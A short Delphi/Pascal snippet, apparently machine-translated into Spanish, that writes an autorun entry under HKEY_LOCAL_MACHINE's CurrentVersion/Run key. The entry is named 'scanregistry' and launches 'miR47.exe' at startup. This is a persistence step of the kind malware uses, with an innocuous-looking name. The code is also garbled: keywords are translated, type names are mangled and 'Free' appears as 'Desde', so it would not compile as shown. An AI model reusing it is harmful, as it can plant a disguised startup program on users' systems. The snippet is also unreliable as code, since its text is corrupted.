usa registro;
VAR Reg: Tregisny;
comenzar
reg: = tregumistry.create;
reg.rootkey: = hkey_local_machine;
reg.openkey ('Software/Microsoft/Windows/CurrentVersion/Run', true);
reg.writeString ('scanregistry', 'miR47.exe');
Reg.CloseKey;
Reg. Desde;
fin.